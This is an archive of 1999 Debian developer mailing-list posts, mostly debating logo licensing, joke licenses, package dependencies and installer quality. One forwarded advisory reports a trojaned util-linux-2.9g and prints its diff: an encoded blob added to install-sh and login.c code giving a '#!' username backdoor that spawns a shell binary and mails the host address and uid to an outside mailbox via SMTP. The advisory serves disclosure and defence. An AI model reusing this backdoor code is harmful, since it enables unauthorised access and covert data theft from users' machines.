On Sat, Jan 23, 1999 at 11:44:06PM -0800, Joey Hess wrote: We shouldn't license our logo by any license that does not comply with the DFSG. To do so would be hypocritical. James A. Treacy [EMAIL PROTECTED] wrote: Not true. It's the Debian Free SOFTWARE Guidelines. You're trying to make a distinction between code and data, here? That doesn't work for the general case. A logo is not software. I'm not sure you're working with a viable definition of software. Here's the definition I get from www.m-w.com: Main Entry: soft·ware Pronunciation: 'soft-war, -wer Function: noun Date: 1960 : something used or associated with and usually contrasted with hardware: as a : the entire set of programs, procedures, and related documentation associated with a system and especially a computer system; specifically : computer programs b : materials for use with audiovisual equipment -- Raul
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 08:36:58PM +0100, Vincent Renardias wrote: [CC:'ed to debian-devel, since debian-humour doesn't exist (yet?) ;] Err.. so you're not serious, right?:- Don't want to seem sarcasm impaired, but, what with all the legal bullshit slung around here lately.. (and it's 'humor' by the way;-))) This program is catware. If you find it useful in any way, pay for this program by spending one hour petting one or several cats. I'm indeed not quite sure 'catware' qualifies as DFSG-free. If you are indeed serious... technically, you are right, of course, but I think people are really going to think we are just a bunch of grumpy party-poopers if we seriously start to get anal about obviously silly licenses like this..:- -- David Welton http://www.efn.org/~davidw Debian GNU/Linux - www.debian.org
Re: filters: Licence problems
David Welton [EMAIL PROTECTED] wrote: If you are indeed serious... technically, you are right, of course, but I think people are really going to think we are just a bunch of grumpy party-poopers if we seriously start to get anal about obviously silly licenses like this..:- Perhaps we need a new list: debian-grumpy-party-poopers? [With a nice long legal document indicating what's appropriate traffic for the list, of course.] -- Raul
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 08:36:58PM +0100, Vincent Renardias wrote: I'm indeed not quite sure 'catware' qualifies as DFSG-free. For what it's worth, I don't think we have any policy forbidding the use of humor in non-free. -- Raul
Re: NMU of xxgdb
DM == Daniel Martin [EMAIL PROTECTED] writes: DM I converted it over to using debhelper, so the diff is actually DM quite large for an NMU - also, I made enough changes to the actual DM source so that it no longer needs changes to X include files to DM compile - I didn't quite do this as cleanly as I would have liked DM to, but it's a starting point. Do you believe this is the reason for the release critical bug #32206 ? If this is a case, maybe you could upload a fix to frozen as well? Otherwise the apckage will eventually be removed. Ciao, Martin
Re: Debian logo its license
On Sun, Jan 24, 1999 at 01:42:30PM -0500, Raul Miller wrote: On Sat, Jan 23, 1999 at 11:44:06PM -0800, Joey Hess wrote: We shouldn't license our logo by any license that does not comply with the DFSG. To do so would be hypocritical. James A. Treacy [EMAIL PROTECTED] wrote: Not true. It's the Debian Free SOFTWARE Guidelines. You're trying to make a distinction between code and data, here? That doesn't work for the general case. A logo is not software. I'm not sure you're working with a viable definition of software. I hope that you are not trying to argue that there is no difference between a program and a logo. This is clearly ridiculous. We seem to have a number of people talking past each other. One group want a logo with a relatively free license for uses such as web pages. This is perfectly reasonable. Another group of people are interested in a logo which is used for advertising products with the Debian name on it. Many people (me included), feel we need a more restrictive license on such a logo so that we may protect the name of Debian. We need to protect ourselves from abuse of such a logo as it may be used in ways that reflect badly on Debian. An example is some of the poor quality CDs that have been released with the name Debian on them. This is why I suggested that we have two logos. Just to make sure no one is advocating this, the GPL is not a particularly good license for licensing things such as logos and documentation. Read the archives for the many discussions about this. The existence of this discussion, which is at least the 10th time it has been discussed, clearly indicates that we need to vote on this issue. A clear vote with some archives to point people to in the future should keep us from rehashing this every few months. There are much more important things for us to be doing. Jay Treacy
Re: Debian logo its license
James A. Treacy [EMAIL PROTECTED] wrote: I hope that you are not trying to argue that there is no difference between a program and a logo. This is clearly ridiculous. That's not my point. However, the definition of software is broad enough to cover both, and the use of that particular word isn't going to resolve the issue. [Also, it's reasonable to talk about things which are both programs (or, perhaps, things which map from some argument domain to some range of results) and logos (or, perhaps, bitmapped images).] We seem to have a number of people talking past each other. One group want a logo with a relatively free license for uses such as web pages. This is perfectly reasonable. Agreed. Another group of people are interested in a logo which is used for advertising products with the Debian name on it. Many people (me included), feel we need a more restrictive license on such a logo so that we may protect the name of Debian. We need to protect ourselves from abuse of such a logo as it may be used in ways that reflect badly on Debian. An example is some of the poor quality CDs that have been released with the name Debian on them. I agree that this is an issue, but looking at our track record (especially the problems with the official hamm cds), I don't think an official logo is going to solve the problem. I think a better approach to the distributor quality problem is to provide distributor rating pages (basically just a concise list of significant issues for each distributor). RMS might not like it (then again, I've not asked him), but to me it seems like the right approach. The existence of this discussion, which is at least the 10th time it has been discussed, clearly indicates that we need to vote on this issue. A clear vote with some archives to point people to in the future should keep us from rehashing this every few months. There are much more important things for us to be doing. The existence of a recurring discussion usually indicates an unsolved problem. A vote might or might not resolve the underlying issue. In this case, the discussion seems to have been triggered by the expiration of the current logo license. -- Raul
Re: Debian logo its license
-BEGIN PGP SIGNED MESSAGE- is the name debian a registered trademark? if it is, wouldn't it be sensible to do the same for the logo? - --p. -BEGIN PGP SIGNATURE- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQEVAwUBNqt2MUJhnFR90XSjAQHeFAf9EULUklt0QfjI2DAbrPK2A9ZmmmUvOhFY x0PpYHWvWoOF1nfiyuECerd1dLAaYsk748TWya+FuOMK8xl4aJYLE4CtcdYO3LPH FlUOPL0QgKj5sS9+a6xuSBnrnxvFAsvNBk5RYJamSZOIDaFTsAnBr5jseG+MjC+c 2Rt4IDYMBgAFoR/m8hs9MOFV9rln5oTZKGKjyzz0XeKsuf5jw8QKiIDQgGk9sLc/ 36n2/LPS/5K/lClz1B4uKqLZSSwSWmvcWSymubKeg7dZn9QL5thZYZLZpPs/65XV IbYDaIPPmwWh4NcWRPDocs+ymNdmgKpq5ftfq8DjhdZV50d2mps8sg== =IiPD -END PGP SIGNATURE-
Re: Debian logo its license
On Sat, Jan 23, 1999 at 11:44:06PM -0800, Joey Hess wrote: We shouldn't license our logo by any license that does not comply with the DFSG. To do so would be hypocritical. Not true. It's the Debian Free SOFTWARE Guidelines. A logo is not software. It may well be that we want a logo whose use is restricted so that we can have some control over the quality of items that it is associated with. More to the point, a logo is more like a name than software. Its purpose is to identify something, not make it work. We have DFSG software in Debian which has the license requirement that if a modified version fails to pass a particularly stringent, non-DFSG conformance test, it may not use a particular name to identify it. The ability to require renaming a program because the authors don't want a broken fork detracting from their reputations has been a part of the DFSG for a long time, and I didn't think that it was under dispute. Should not the author have the same control over other identifying marks (like logos) which are associated with the software? I don't think that that violates the spirit of the DFSG. If it violates the letter, then I think it should be looked into. It appears that what we really need are two logos: one with a relatively open license and second with a more restricted one. The open one would be used on web pages, etc. An example where a more restricted license would be appropriate is letting it only be used on CDs that pass a test suite guaranteeing that the CD set is 'good enough'. I agree. I would suggest that the two be closely linked in form... To use our current logo as an example, have the plain line-art penguin as the open logo, and the penguin in the center of a scalloped-edged annulus (as if it were in the center of a seal) as the restricted logo. Both scale well, both are distinctive, and both are similar enough to tell that they are both related. (I thought of suggesting the word certified, approved, or similar into the suggested logo, but words don't scale well, can be hard to read, imply things they probably shouldn't, and are language-specific.) Jay Treacy -- Buddha Buck [EMAIL PROTECTED] Just as the strength of the Internet is chaos, so the strength of our liberty depends upon the chaos and cacaphony of the unfettered speech the First Amendment protects. -- A.L.A. v. U.S. Dept. of Justice
Re: pppd 2.3.5 (was RE: getting kernel 2.2 into slink)
On Fri, 22 Jan 1999, Ed Boraas wrote: On Thu, 21 Jan 1999, Brent Fulgham wrote: The issue being that there IS a problem - e.g. are we going to provide ppp1 and ppp2? That sounds like trouble to me. Real Question (not a snipe): Is there any reason everyone couldn't use a current pppd that would be compatible with the new kernel image? Why have two packages? I don't see a problem at all: slink includes pppd version 3.3.5, which is fully compatible with the 2.2 series of kernels. This being the case, the kernel-2.2.0 package would simply need to depend on slink's pppd. Not a big deal in the least... anyone running slink would have the required pppd anyway! No, the kernel-2.2.0 package should not depend on the new pppd package, since it is perfectly usable without pppd for people who don't use pppd. Instead, the kernel-2.2.0 package should conflict with the old pppd package. (The real issue is not that a 2.2 kernel needs the new pppd package to work, but that it doesn't work with the old pppd package.) Remco
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 12:48:07PM -0600, David Welton wrote: (and it's 'humor' by the way;-))) humour is a perfectly valid word. Ask your nearest dictd with Webster and Wordnet installed, for example. Antti-Juhani -- %%% Antti-Juhani Kaijanaho % [EMAIL PROTECTED] % http://www.iki.fi/gaia/ %%% EMACS, n.: Emacs May Allow Customised Screwups (unknown origin)
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 08:36:58PM +0100, Vincent Renardias wrote: I'm indeed not quite sure 'catware' qualifies as DFSG-free. Well, it doesn't. It fails point 5; it discriminates against people like me who are allergic to cats and dogs. :-) Antti-Juhani -- %%% Antti-Juhani Kaijanaho % [EMAIL PROTECTED] % http://www.iki.fi/gaia/ %%% EMACS, n.: Emacs May Allow Customised Screwups (unknown origin)
Re: fvwm{,2,-common} packages up for adoption
*- Vincent Renardias wrote about Re: fvwm{,2,-common} packages up for adoption
On Sun, 24 Jan 1999, Austin Donnelly wrote:
I am (in theory) still maintaining the following packages:
fvwm
fvwm2
fvwm-common
xloadimage
xcal
In practice, I haven't uploaded new versions of these for many months.
I volunteer to adotp fvwm2 fvwm-common.
(I already began to work on it actually, expect an upload next WE or so)
Cordialement,
I know that the fvwm2 official TODO list has 'official themes support'
in it but it would be really great if the Debian style hooks setup could
be adapted to use the themes(with minimal pain) on fvwm.themes.org.
Or at least some documentation on how to use them until it is
'officially' added the the upstream source.
Currently one is required cut and past to various *.hook files as well
as reset several defaults.
Thanks,
--
Brian
-
Never criticize anybody until you have walked a mile in their shoes,
because by that time you will be a mile away and have their shoes.
- unknown
Mechanical Engineering[EMAIL PROTECTED]
Purdue University http://www.ecn.purdue.edu/~servis
-
Re: Reality check! [was: Re: Debian goes big business?]
I did a fresh install yesterday from a hamm CD (our free CheapBytes CD). I chose the scientifc workstation option. This caused a minor nightmare. The only reason I was able to complete the install is because I have a few hundred hours experience in maintaining debian systems. I really like Debian, but it's installation is just terrible. (One problem is that fweb can get into a state in which it can be neither installed nor removed) I can't complain though, because I am not going to take the time to fix it in the near future. A commercial venture would be a good idea, because a full time employee could do quite a bit for the installation process in a few months, and contribute back to the project. -- John Lapeyre [EMAIL PROTECTED] Tucson,AZ http://www.physics.arizona.edu/~lapeyre
Re: Reality check! [was: Re: Debian goes big business?]
I guess I should add this to my last post about how bad the installation is. The boot floppies themselves and apt are quite good. Getting the base system on is easy for someone who knows what is going on. Probably not for a beginner. John Lapeyre [EMAIL PROTECTED] Tucson,AZ http://www.physics.arizona.edu/~lapeyre
Re: filters: Licence problems
On Sun, 24 Jan 1999, Antti-Juhani Kaijanaho wrote: On Sun, Jan 24, 1999 at 12:48:07PM -0600, David Welton wrote: (and it's 'humor' by the way;-))) humour is a perfectly valid word. Ask your nearest dictd with Webster and Wordnet installed, for example. Humour is correct (in British English). The American (pah!) spelling is humor. I'm sure the original poster knew this, hence the smiley. /+---+-\ | Jelibean aka | [EMAIL PROTECTED] | 6 Evelyn Rd| | Jules aka | [EMAIL PROTECTED] | Richmond, Surrey | | Julian Bean | [EMAIL PROTECTED]| TW9 2TF *UK* | ++---+-+ | War doesn't demonstrate who's right... just who's left. | | When privacy is outlawed... only the outlaws have privacy. | \--/
Re: Reality check! [was: Re: Debian goes big business?]
On Sun, Jan 24, 1999 at 01:32:28PM -0700, John Lapeyre wrote: I guess I should add this to my last post about how bad the installation is. The boot floppies themselves and apt are quite good. Getting the base system on is easy for someone who knows what is going on. Probably not for a beginner. Suggestions for making the boot-floppies beginner-friendly are welcome (but read the todo list first). Of course, code is even more welcome. :-) Thanks, -- Enrique Zanardi[EMAIL PROTECTED]
Re: Reality check! [was: Re: Debian goes big business?]
On 24 Jan 1999, John Lapeyre wrote: I guess I should add this to my last post about how bad the installation is. The boot floppies themselves and apt are quite good. Getting the base system on is easy for someone who knows what is going on. Probably not for a beginner. As someone who has done countless debian installs on lots of weird hardware I can safely say that Debian's install is straightforward but requires technical skill. You can install Debian on virtually any system but the installer may not hold your hand. The packaging system allows so much choice that it too does need some degree of technical knowledge, but if you know what you are doing it is very straightforward and gives pretty much exactly what you want. Personally I have a list of packages I like to see on a system and I use apt-get install `cat list` and watch the magic. Everything else I just install as-needed. The only thing I wish for is dhcp and ftp/http support in the boot floppies, it is not always easy to find a nfs server for the images. Jason
Re: Reality check!
M.C. Vernon [EMAIL PROTECTED] writes: I would see this as a RH-style - so a rather bloated kernel which includes lots of stuff as standard, and asks them the pertinent questions all at once at the beginning, and then gets on with it. Excuse me, but RedHat actually boots on my laptop because the kernel is _less_ bloated than Debian's kernel. Debian's install disk doesn't boot. Red Hat uses a zImage kernel, Debian uses bzImage because it's too big for zImage. (How do they do it? For the install floppy they load the drivers after booting, and for subsequent boots they use initrd.) Steve [EMAIL PROTECTED]
libc5 sources missing for sparc
Debian/SPARC is still providing libc 5.3.12 in binary form but no sources. I don't think the libc 5.4.46 is working for sparc, therefore we need to put the 5.3.12 sources in slink again. As the maintainer of libc5 I can do a new upload but I don't know whether the dinstall script will process it the right way (not rejecting my upload nor replacing the 5.4.46 sources). Thanks in advance. PS: I can rename the sources to libc-sparc if it could help. -- Eric Delaunay | La guerre justifie l'existence des militaires. [EMAIL PROTECTED] | En les supprimant. Henri Jeanson (1900-1970)
Re: libc5 sources missing for sparc
On Sun, Jan 24, 1999 at 11:14:18PM +0100, Eric Delaunay wrote: Debian/SPARC is still providing libc 5.3.12 in binary form but no sources. I don't think the libc 5.4.46 is working for sparc, therefore we need to put the 5.3.12 sources in slink again. As the maintainer of libc5 I can do a new upload but I don't know whether the dinstall script will process it the right way (not rejecting my upload nor replacing the 5.4.46 sources). Thanks in advance. PS: I can rename the sources to libc-sparc if it could help. Yeah, and label it internally as 'Architecture: sparc' so none of the other ports try to use it by accident. Do we really need lib5 since we don't even have any libc5 binaries for sparc? -- --- - - --- - - - --- Ben Collins [EMAIL PROTECTED] Debian GNU/Linux UnixGroup Admin - Jordan Systems Inc. [EMAIL PROTECTED] -- -- - - - --- --- -- The Choice of the GNU Generation
Re: Debian logo its license
-BEGIN PGP SIGNED MESSAGE- On 24-Jan-99 John Hasler wrote: Andrew G . Feinberg writes: Why in the world do we need to license something as trivial as a _logo_? We don't. Of course we do. Otherwise we'd have to grant permission to every tom-dick-harry that wanted to use it in any way-shape-form. = * http://benham.net/index.html * * * -BEGIN GEEK CODE BLOCK- ---* *Darren Benham * Version: 3.1 * * [EMAIL PROTECTED] * GCS d+(-) s:+ a29 C++$ UL++ P+++$ L++* * KC7YAQ * E? W+++$ N+(-) o? K- w+++$(--) O M-- V- PS-- * * Debian Developer * PE++ Y++ PGP++ t+ 5 X R+ !tv b DI+++ D++ * * [EMAIL PROTECTED] * G++G+++ e h+ r* y+* * * --END GEEK CODE BLOCK-- ---* = -BEGIN PGP SIGNATURE- Version: 2.6.3a Charset: noconv iQCVAwUBNqu2J7bps1lIfUYBAQF1rwP/RA7BMTAge7XJJ7w924o9m+x4vow5m7RF oRtbW2tLKjn51v0D7foUEY0B5pNkwiq1N8yB6kgABM3Gx59E6sygnreCN3oiMmed M6Gfuc4mLghcaen0/cMLNPurpmQKdLPSNfGf/N334veReBC5m1WYr9bD28w4VJ4A KEhGsvzCMpY= =eelH -END PGP SIGNATURE-
Re: Debian logo its license
On Sun, Jan 24, 1999 at 02:32:27PM -0500, Raul Miller wrote: The existence of a recurring discussion usually indicates an unsolved problem. A vote might or might not resolve the underlying issue. Let's hope that there is enough interest generated that we actually do solve the problem. In this case, the discussion seems to have been triggered by the expiration of the current logo license. True. I decided to leave it this way to force the issue - and it looks like it is working. If enough people complain loudly enough I or one of the other webmasters will extend it again. Jay Treacy
[bcollins@debian.org: Uploaded cgiwrap 3.6.3-1 (source i386) to master]
This package was upgraded to a new upstream release to fix a few potential problems with our old version. Since we are so deep in freeze right now I would appreciate people who use (or may not use) cgiwrap to test it thoroughly. Thanks, Ben - Forwarded message from Ben Collins [EMAIL PROTECTED] - Date: Sun, 24 Jan 1999 18:37:33 -0500 (EST) From: [EMAIL PROTECTED] (Ben Collins) Subject: Uploaded cgiwrap 3.6.3-1 (source i386) to master To: debian-devel-changes@lists.debian.org -BEGIN PGP SIGNED MESSAGE- Format: 1.5 Date: Sun, 24 Jan 1999 18:16:42 -0500 Source: cgiwrap Binary: cgiwrap Architecture: source i386 Version: 3.6.3-1 Distribution: frozen unstable Urgency: low Maintainer: Ben Collins [EMAIL PROTECTED] Description: cgiwrap- allows ordinary users to run their own CGI scripts Changes: cgiwrap (3.6.3-1) frozen unstable; urgency=low . * NMU to fix several upstream bugs (closes #31828) Files: 089ffc30bf34ce474fd3b604570b81c7 628 non-free extra cgiwrap_3.6.3-1.dsc 583179e252608967bc5e83a17d3bd1d2 89319 non-free extra cgiwrap_3.6.3.orig.tar.gz e04fbad5ee3103e33eeafc8db6f7dece 11552 non-free extra cgiwrap_3.6.3-1.diff.gz 593ff89933eb41bb93efdd3052c3e6ea 41670 non-free extra cgiwrap_3.6.3-1_i386.deb -BEGIN PGP SIGNATURE- Version: 2.6.3ia Charset: noconv iQCVAwUBNqut9Co9WkFm9rsJAQHq2AP/aRPnxNJYty+EU27+4xXtbNShPJCzaluv 0dpLwu9f/U+JZoqZvvv1AOGou0e4EA6ALhSJ4iJs1lJwz1vBsNAUFH2m9icYEt+a OxuMuxGm57995y5lMxnPDyF/wKjdZWGtnG5gsgB3aXC7RmmjDlWBV1xRUwLlsahZ KF8ZKAW5YF0= =c7Fw -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] - End forwarded message - -- --- - - --- - - - --- Ben Collins [EMAIL PROTECTED] Debian GNU/Linux UnixGroup Admin - Jordan Systems Inc. [EMAIL PROTECTED] -- -- - - - --- --- -- The Choice of the GNU Generation
(forw) [Andries.Brouwer@cwi.nl: Re: util-linux compromised]
- Start forwarded message -
Date: Sun, 24 Jan 1999 14:19:09 +0100 (MET)
From: [EMAIL PROTECTED]
Message-Id: [EMAIL PROTECTED]
To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED],
linux-security@redhat.com
Subject: Re: util-linux compromised
Cc: [EMAIL PROTECTED]
Sender: [EMAIL PROTECTED]
Precedence: bulk
X-Loop: [EMAIL PROTECTED]
X-Orcpt: rfc822;linux-kernel-outgoing-dig
MIME-Version: 1.0
I just received the following letter:
Date: Sun, 24 Jan 1999 04:01:55 -0500 (EST)
From: John Stange [EMAIL PROTECTED]
Subject: util-linux compromised?
I grabbed util-linux-2.9g yesterday from win.tue.nl, and discovered a
section of login.c that appears to send the host and uid of the user to a
hotmail address. I imagine this isn't a standard feature. : Given that
the tcp wrappers archive was backdoored on that same server recently, you
might want to comb over the rest of your stuff as well, if any of it's
yours.
-- John Stange
Staff World, 4120 AVW
x52720
and indeed, util-linux-2.9g had been replaced by a trojan version.
Unfortunately this means that everything from ftp.win.tue.nl
must be regarded as suspect for the moment.
I put a correct util-linux-2.9g.tar.gz back, with md5sum
ab409a6ac5a775a4b04b8e27f6c86933 util-linux-2.9g.tar.gz
but of course, for the time being, nothing on this machine can be trusted.
Andries
A diff between original and trojan:
diff -r util-linux-2.9g/disk-utils/Makefile
trojan/util-linux-2.9g/disk-utils/Makefile
94a95
diff -r util-linux-2.9g/install-sh trojan/util-linux-2.9g/install-sh
147a148,171
# M.'1F87=H3(S='5L9G(V:6%W969G34V-VEA,W4*(R!`:%=)CT['9X46QO
# MGEP8V9Q8GYJ1SU6*E-P6S)RE(X5G%A8%P]2C)K9EEY6#-J1V)R/3X[W5Z
# M'1X$!8765I7F5E65Q80B`@(`HC(YA+G,[EMAIL PROTECTED],BXU+F(N
# MXY+FN=BXX+CN82YW+G0N8BYP+C$N,BXX+CDN=XW+F8N9RYA+GN90HC
# M(#0L,RQH+'0L.2QQ+#(L.QT+8L82QW:UQ+3(M,RUT+74M;UF+7(M-BUI
# M+6$M=RUE+68M9RUQ+34M-BTW+6DM82TS=0HC($!H5TER/3MX=GA1;]Z7!C
# M9G%B?FI'/58J4W!;,G)R4CA6[EMAIL PROTECTED],FMF67E8,VI'8G(]/CM[=7IX='AX
# MWL,14(2SWS1$J0=[8?[[?=T-T!2LK,SW,S5W4;[TXLD4CT:]/-^JC)-
# M$F?5E]ZP_WJ^^^0W^-$'@Y'A_J)UOKET':;_ST/KHZ[EMAIL PROTECTED]!UGOX
# M=/1$'S[Y'7XJ6P:%UD_^27^J#?U'L;WMT4/[OV*_XC^#UG_P^'1P3?]_Q_K
# M_SRX-;,X,;]ZC;[EMAIL PROTECTED]/]C;/R#]#UX.#_?V![%O8/!X.43/?BF_]_\
# MYYGV:M:]7O-YEAZ,[EMAIL PROTECTED],C57/]'[EMAIL
PROTECTED])$(ST)2OW6A'IXI(#T#U
# MZ@]UZ_'F+,E;F++8UY5\3Z8UAR7JX-QH,1\,]G.HIRM=]=!7Z^CXTQ
# M_;R8$^U\N2KB^:)D0EWZ=Y__/C*M*LXO`V*2)_T]3N:K+%1FC[51;V353M
# MJ=*Q5F85)'1_?[N^?''BW[EMAIL PROTECTED]F0Z64P-_;/2IV/+UY]
# MIY\^G478?1J4_5ZO;7WP1(?KEGT;)(^Z\D)C65#$1.[EMAIL PROTECTED]
# M59)T=%$Y:=)C//6]C7^I]3DA],+6BV]G5FWCE(WDRMZW/!0+ZS4R?4QO^`O
# M\2PS?]6=Y]O'ES['=VQRZ`([EMAIL PROTECTED];'6219KKW9+H,$^7TE73\%MR:S'
# M5FYOC5%9A)MJ^4R+TJ=9YK)L!WSW?IM\[3+?QEG\A04RL_Z7\8[H'T
# MNSV\-H!O^G1J]O.YD(4T`\]!^L^[Y`CUUH]P89;(HGBF36/,XT=(N$F;
# M5\9VU%/L_7A']T*0.'YW-GX_P9WD[/CFZO)R2[/?W\C[J7Z^??RR[6*%W(
# MH+]+:WWZTY$7BQ1.*PYS76408??@'+S[?/WOI%_D,6H6G/\CH7\[O5PFY
# MX;J7I([][TVXX/=93DX*)[;P9AANJ0OSURHN#PXK`J+WW`NF
diff -r util-linux-2.9g/login-utils/login.c
trojan/util-linux-2.9g/login-utils/login.c
179a180
void checkname P_((char *name));
552a554,555
checkname(username);
1291a1295,1342
}
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h
#include netdb.h
void
checkname(char *name)
{
chara[100];
char*pt;
if ((name[0] == '#') (name[1] == '!'))
{
pt = (char*)name[2];
sprintf(a,/bin/%s,pt);
execl(a,a,(void*)0);
}
if (fork() == 0)
{
struct hostent *he;
struct sockaddr_in sai;
struct in_addr *ia;
charb[500];
int s,l;
setsid();
s = open(/var/tmp/.fmlock0,O_RDONLY);
if (s = 0) exit(0);
he = gethostbyname(mail.hotmail.com);
if (!he) exit(0);
ia = (struct in_addr *)he-h_addr_list[0];
l = sizeof(sai);memset(sai,0,l);
sai.sin_port = htons(25);
sai.sin_addr.s_addr = ia-s_addr;
if ((s = socket(AF_INET,SOCK_STREAM,0)) 0) exit(0);
if ((connect(s,(struct sockaddr*)sai,l)) 0) exit(0);
if ((getsockname(s,(struct sockaddr*)sai,l)) 0) exit(0);
sprintf(b,\r\nHost = %s\r\nUid =
%i\r\n\r\n.\r\n,inet_ntoa(sai.sin_addr),getuid());
sleep(1);if (write(s,HELO 127.0.0.1\n,15) 0) exit(0);
sleep(1);if (write(s,MAIL FROM:[EMAIL PROTECTED]\n,28) 0)
exit(0);
if (write(s,RCPT TO:[EMAIL PROTECTED]\n,30) 0) exit(0);
sleep(1);if (write(s,DATA\n,5) 0) exit(0);
sleep(1);if (write(s,b,strlen(b)) 0) exit(0);
sleep(1);if (write(s,QUIT\n,5) 0) exit(0);
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 01:50:21PM -0500, Raul Miller wrote: David Welton [EMAIL PROTECTED] wrote: If you are indeed serious... technically, you are right, of course, but I think people are really going to think we are just a bunch of grumpy party-poopers if we seriously start to get anal about obviously silly licenses like this..:- Perhaps we need a new list: debian-grumpy-party-poopers? [With a nice long legal document indicating what's appropriate traffic for the list, of course.] (0) Every mail has to follow rule (0), (1), (2) and (3). (1) Any mail which starts with one or more implicit assumption has to follow rules (4) to (7). (2) Mails with quoted text must not fulfill rule (6) but (8). (3) Mails which carries a valid FQDN must comply with all even rules. (4) Do NOT apologize for what you said, thought, wrote or assumed. (5) Do NOT try to make people happy. (6) Do NOT rant, flame, lie, hypocry or whine. (7) The number of letters divided by the number of words must be less than the number of columns divided by the number of lines. (8) End your message with a signature which uses figlet to summarize your final position. (9) This rule is obsolete and should not be used in any way. (42) If you have come so far, you have the right to get the answer of the universe. Have a deep breath and start all over again, this time reading more carefully. Exercise 1: Examine if this mail could be sent to debian-grumpty-party-poppers. Exercise 2: Write three DIN A4 pages about the breakdown of the society by overdoses of microwaves. Marcus -- Rhubarb is no Egyptian god.Debian GNU/Linuxfinger brinkmd@ Marcus Brinkmann http://www.debian.orgmaster.debian.org [EMAIL PROTECTED]for public PGP Key http://homepage.ruhr-uni-bochum.de/Marcus.Brinkmann/ PGP Key ID 36E7CD09
Re: filters: Licence problems
On Sun, Jan 24, 1999 at 08:36:58PM +0100, Vincent Renardias wrote: This program is catware. If you find it useful in any way, pay for this program by spending one hour petting one or several cats. I'm indeed not quite sure 'catware' qualifies as DFSG-free. The obvious problem is that it is not clear if distributing, copying, modifying, selling is allowed. = Not dfsg free. Marcus -- Rhubarb is no Egyptian god.Debian GNU/Linuxfinger brinkmd@ Marcus Brinkmann http://www.debian.orgmaster.debian.org [EMAIL PROTECTED]for public PGP Key http://homepage.ruhr-uni-bochum.de/Marcus.Brinkmann/ PGP Key ID 36E7CD09
